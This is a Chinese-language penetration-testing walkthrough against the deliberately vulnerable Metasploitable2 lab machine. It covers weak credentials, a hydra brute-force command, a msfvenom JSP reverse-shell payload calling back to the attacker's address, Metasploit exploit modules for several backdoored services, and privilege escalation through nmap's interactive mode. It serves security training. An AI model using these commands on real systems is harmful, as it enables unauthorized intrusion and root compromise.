一、靶场环境

攻击机:192.168.111.5 kali
靶机:192.168.111.129 Metasploitable2-Linux

靶机下载地址:Metasploitable - Browse /Metasploitable2 at SourceForge.net

二、靶机漏洞清单

端口/服务
21 / 弱口令
22 / 弱口令
23 /弱口令
80 - php_cgi
139 / smb
3306 / 空密码
5432 / postgresql
8180 / tomcat弱口令
445 / Samb
1099 / java_rmi_server
1524 msfable 后门
2049 / NFS共享漏洞
3632 / distcc_exec
5900 / VNC
6667 / unreal_ircd
8787 / drb_remote_codeexec

三、端口扫描


四、弱口令灾区

4.1 telnet(23)

弱口令msfadmin msfadmin

  • hydra也可以
    hydra -L password.txt -P password.txt telnet://192.168.111.129 -V

4.2 PostgreSQL(5432)


4.3 VNC(5900)

弱口令password

4.4 mysql(3306)

直接没密码

4.5 ssh(22)

4.6 tomcat后台(8180)

影响版本

  • Apache Tomcat 7.0 <8.0.


  • 直接msf生成木马
    msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.111.5 LPORT=12345 -f war -o shell.war


五、漏洞利用

切交互式shell命令 python -c ‘import pty;pty.spawn(“/bin/sh”)’

5.1 Samba MS-RPC Shell命令注入(139)

CVE-2007-2447

  • Samba协议的一个漏洞CVE-2007-2447,用户名映射脚本命令执行,基于139端口
  • 影响Samba的3.0.20到3.0.25rc3 版本
  • 当使用非默认的用户名映射脚本配置选项时产生
  • 通过指定一个包含shell元字符的用户名,攻击者能够执行任意命令
    简而言之,此软件在 Windows 与 UNIX 系列 OS 之间搭起一座桥梁,让两者的资源可互通有无。



smb参考书籍

CVE-2010-0926




5.3 vsftpd后门(21)

对VSFTPD 2.3.4 的攻击就是通过向21端口发送一个特定字节的序列来触发恶意的vsf_sysutil_extra()函数。一旦成功执行,就会在系统的6200端口打开一个后门,从而进行利用



FTP参考资料

5.4 UnreallRCd后门(6667)

站点的UnrealIRCd,在DEBUG3_DOLOG_SYSTEM宏中包含外部引入的恶意代码,远程攻击者能够执行任意代码。


攻击脚本官网文档

5.5 PHP CGI参数注入执行漏洞(80)

漏洞原理:

  • 用户请求的querystring被作为了php-cgi的参数,最终导致了一系列结果。
  • 探究一下原理,RFC3875中规定,当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。
  • 所以,Apache服务器按要求实现了这个功能。
  • apache在解析.php文件时会把接收到的url参数通过mod_cgi模块交给后端的php-cgi处理,而传递过程中未对参数进行过滤,导致php-cgi会把用户输入当作php参数执行
    影响版本:
  • php < 5.3.12
  • php < 5.4.2



5.6 Ingreslock后门(1524)

Ingreslock后门程序运行在1524端口,连接到1524端口就能直接获得root权限,经常用于入侵一个暴露的服务器;直接使用telnet命令获取权限

Ingreslock 服务安全漏洞原理:
ingreslock 1524/TCP 端口是 Ingres 数据库管理系统(DBMS)锁定服务
ingreslock 1524/TCP 端口经常被用作后门程序监听端口,这个端口曾经一段时间非常流行,是一个非常古老的漏洞。许多攻击脚本当通过其他服务的漏洞攻击成功后,可以通过这个端口安装一个后门 Shell。

5.7 Postgres共享库代码任意执行(5432)


5.8 Druby远程代码执行漏洞(8787)

Druby配置不当,被滥用执行命令。CVE编号:CVE-2013-0156。
使用模块:use exploit/linux/misc/drb_remote_codeexec

5.9 Java RMI Server(1099)


5.10 distccd服务(3632)

use exploit/unix/misc/distcc_exec

六、提权之路

6.1 提权前准备

查看当前用户
whoami或者id
提权看系统发行版本
lsb_release -a
查看操作系统的内核版本
uname -a
查找SUID文件
find / -perm -u=s -type f 2>/dev/null

6.2 使用nmap提权

查看nmap的版本
/usr/bin/nmap --version 低版本可以利用
执行
/usr/bin/nmap --interactive

!sh